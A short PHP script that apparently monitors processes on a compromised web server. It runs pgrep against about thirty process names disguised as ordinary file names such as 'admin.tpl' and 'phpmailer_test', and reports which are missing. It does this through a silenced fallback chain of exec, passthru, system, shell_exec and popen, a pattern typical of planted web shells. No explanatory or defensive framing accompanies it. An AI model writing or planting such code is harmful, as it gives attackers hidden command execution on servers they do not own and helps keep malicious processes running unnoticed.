<?php   $files = ['powershell','DisplayLinkURI','setting.ini','tagsubscription','publickey','toolbar.sections','deletecssassoc','formhiddentoken','action.browsecat','phpmailer_test','admin.tpl','modifyalb','jpgraph_gantt','editCourseGrades','Composite','lib_validate','modifier.strip','display_tbl.lib','form2mail','Predicate','ot_giftwrap','lib_WPcomment','LinkTypes','Interchange','MakeAbsolute','show_info_backup','gacl.class','Scripting','thumbnails','sp_config']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }